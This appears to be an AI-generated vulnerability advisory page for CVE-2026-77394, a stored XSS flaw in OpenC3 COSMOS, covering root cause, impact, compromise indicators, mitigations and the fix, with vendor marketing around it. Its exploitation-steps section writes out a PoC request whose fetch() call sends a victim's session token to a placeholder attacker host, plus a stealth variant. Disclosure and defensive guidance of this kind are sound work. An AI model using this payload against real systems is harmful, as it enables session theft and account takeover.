CVE-2026-77394: 
JavaScript 취약성 분석 및 완화

개요

CVE-2026-77394 is a stored, cross-user Cross-Site Scripting (XSS) vulnerability in OpenC3 COSMOS affecting the Telemetry screen BUTTON widget. An authenticated user with system_set permission can embed arbitrary JavaScript in a shared telemetry screen via POST /openc3-api/screen; when another operator views the screen and clicks the button, the injected script executes via eval() in the victim's authenticated browser session. The vulnerability affects OpenC3 COSMOS versions >= 5.0.6 and <= 7.2.1 (npm package @openc3/vue-common), and is fixed in version 7.3.0. It carries a CVSS v3.1 base score of 7.6 (High) (GitHub Advisory). The advisory was published by the reporter (Arpit Kubadia) on September 3, 2026, and added to the GitHub Advisory Database on September 23, 2026 (GitHub Advisory).

기술적 세부 사항

The root cause is a combination of CWE-79 (Stored XSS) and CWE-94 (Code Injection via eval()). The ScreensController#create endpoint (openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43) persists raw screen text after an authorization check for system_set permission, with no sanitization of the screen body. The sink is in ButtonWidget.vue (line 109), where the BUTTON widget's second parameter (parameters[1]) is stored as this.eval and executed via const result = eval(lines[i].trim()) on every button click — directly evaluating attacker-controlled strings in the victim's browser context. The permissive Content Security Policy (script-src 'unsafe-inline' 'unsafe-eval') in openc3-traefik/traefik.yaml is a contributing factor that prevents the browser from blocking the injected script, though it is not the primary root cause. Because screens are stored per-scope and rendered to all users who open them in Telemetry Viewer, a screen saved by one user executes in every other user's browser (GitHub Advisory, Security Advisory).

영향

Successful exploitation allows an attacker to exfiltrate the victim's session token (localStorage.openc3Token), which is a bearer credential accepted in the Authorization header, enabling full session and account takeover. The injected script runs in the COSMOS origin with the victim's privileges, allowing the attacker to act as the victim against the entire COSMOS API. For victims with script execution privileges, the attack chain extends to server-side code execution via the Script Runner, making this a potential escalation path to full system compromise. The impact is persistent and cross-user: a single malicious screen modification compromises every operator who subsequently views and interacts with it, with no visible behavioral change if an existing operational screen is overwritten (GitHub Advisory).

악용 가능성

A proof-of-concept exploit with step-by-step HTTP requests and UI sequences is publicly available in the official security advisory, confirmed to successfully exfiltrate live session tokens (ses_…) to an attacker-controlled host (Security Advisory). Exploitation requires authentication with system_set permission and victim interaction (clicking the malicious button), making it non-automatable. The EPSS score is 0.0 and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is not listed in the CISA KEV catalog. The NVD SSVC assessment classifies exploitation status as "poc" with partial technical impact (Feedly).

착취 단계

  1. Authenticate and obtain a session token: Log in to OpenC3 COSMOS and obtain a valid Authorization: ses_<YOUR_TOKEN> bearer token with system_set permission.

  2. Craft a malicious screen payload: Construct a JSON payload embedding arbitrary JavaScript in a BUTTON widget's action parameter. Example minimal PoC:

POST /openc3-api/screen HTTP/1.1
Host: <host>:2900
Content-Type: application/json
Authorization: ses_<YOUR_TOKEN>

{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}
  1. Store the malicious screen: Send the POST request to /openc3-api/screen. The server responds HTTP 200 with body true, persisting the unsanitized screen text.

  2. (Stealth variant) Overwrite an existing operational screen: Instead of creating a new screen, overwrite a screen operators already use (e.g., INST COMMANDING). Append ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token)) to an existing button's action using the ;; delimiter. Operators see no behavioral change and the original command still executes.

  3. Wait for victim interaction: The victim navigates to Telemetry Viewer (http://<host>:2900/tools/tlmviewer), selects the target and screen, and clicks the button (e.g., "Refresh" or the existing operational button).

  4. JavaScript executes via eval() in victim's session: ButtonWidget.vue calls eval(lines[i].trim()) on the attacker-controlled string. The permissive CSP (unsafe-eval) does not block execution. The script runs in the COSMOS origin with full access to localStorage.

  5. Token exfiltration and account takeover: The fetch() call sends the victim's localStorage.openc3Token to the attacker's server. The attacker uses this token as Authorization: ses_<VICTIM_TOKEN> to impersonate the victim against the COSMOS API.

  6. Escalate to server-side code execution (if applicable): If the victim has script execution privileges, the attacker uses the stolen token to invoke the Script Runner and achieve server-side RCE (Security Advisory, GitHub Advisory).

타협의 징후

  • Network: Unexpected outbound HTTP/HTTPS requests from operator browsers to external or unknown hosts with query parameters containing URL-encoded tokens (e.g., ?t=ses_...); unusual fetch() calls originating from the COSMOS web application origin (http://<host>:2900).
  • Logs: API access logs showing POST /openc3-api/screen requests with screen text containing JavaScript keywords (fetch, localStorage, eval, document.cookie) in the text field; repeated screen saves to existing operational screens (e.g., INST/COMMANDING) from unexpected users or at unusual times.
  • Application State: Shared telemetry screens with BUTTON widget actions containing JavaScript code beyond standard COSMOS API calls (e.g., api.cmd(...), runScript(...)); screen definitions containing ;; delimiters appending additional code to existing button actions.
  • Authentication: Unexpected API requests authenticated with a legitimate user's bearer token (ses_...) from unusual IP addresses or user agents, indicating session token theft and reuse (Security Advisory).

완화 및 해결 방법

Upgrade OpenC3 COSMOS to version 7.3.0 or later, which replaces the unsafe eval() in ButtonWidget.vue with a sandboxed iframe execution model (runButtonScript) that has no access to localStorage, cookies, or the parent DOM (v7.3.0 Release, Fix PR #3560). The fix also tightens the CSP by removing 'unsafe-inline' and 'unsafe-eval' from script-src in all Traefik configuration files and adding base-uri 'self' and frame-ancestors 'self'. As interim mitigations for deployments that cannot immediately upgrade: restrict system_set permission to only fully trusted users; audit existing shared screens for suspicious BUTTON widget actions containing JavaScript beyond standard COSMOS API calls; and monitor POST /openc3-api/screen API calls for unexpected content (GitHub Advisory).

커뮤니티 반응

The vulnerability was reported by security researcher Arpit Kubadia and published by OpenC3 maintainer jmthomas on September 3, 2026, with the fix merged via PR #3560 by ryanmelt on July 14, 2026 (prior to public disclosure). The maintainer's review comment noted the sandbox approach was "mostly black magic" but confirmed it accomplished the security goal through testing (Fix PR #3560). No broader media coverage or significant social media discussion has been identified at this time.

추가 자료


근원: 이 보고서는 AI를 사용하여 생성되었습니다.

관련 JavaScript 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 익스플로잇

수정 사항이 있습니다.

게시된 날짜

CVE-2026-61742CRITICAL9.3
  • JavaScript logoJavaScript
  • @bytebase/dbhub
아니요예Sep 24, 2026
CVE-2026-56744HIGH8.7
  • JavaScript logoJavaScript
  • @bsv/wallet-toolbox-mobile
아니요예Sep 24, 2026
CVE-2026-61782HIGH7.5
  • JavaScript logoJavaScript
  • @rsdoctor/rspack-plugin
아니요예Sep 24, 2026
CVE-2026-61788HIGH7.4
  • JavaScript logoJavaScript
  • @bytebase/dbhub
아니요예Sep 24, 2026
CVE-2026-61784MEDIUM6.1
  • JavaScript logoJavaScript
  • xhtml-purifier
아니요예Sep 24, 2026

무료 취약성 평가

클라우드 보안 태세를 벤치마킹합니다

9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.

평가 요청

추가 Wiz 리소스

맞춤형 데모 받기

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭최고정보책임자(CISO)
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자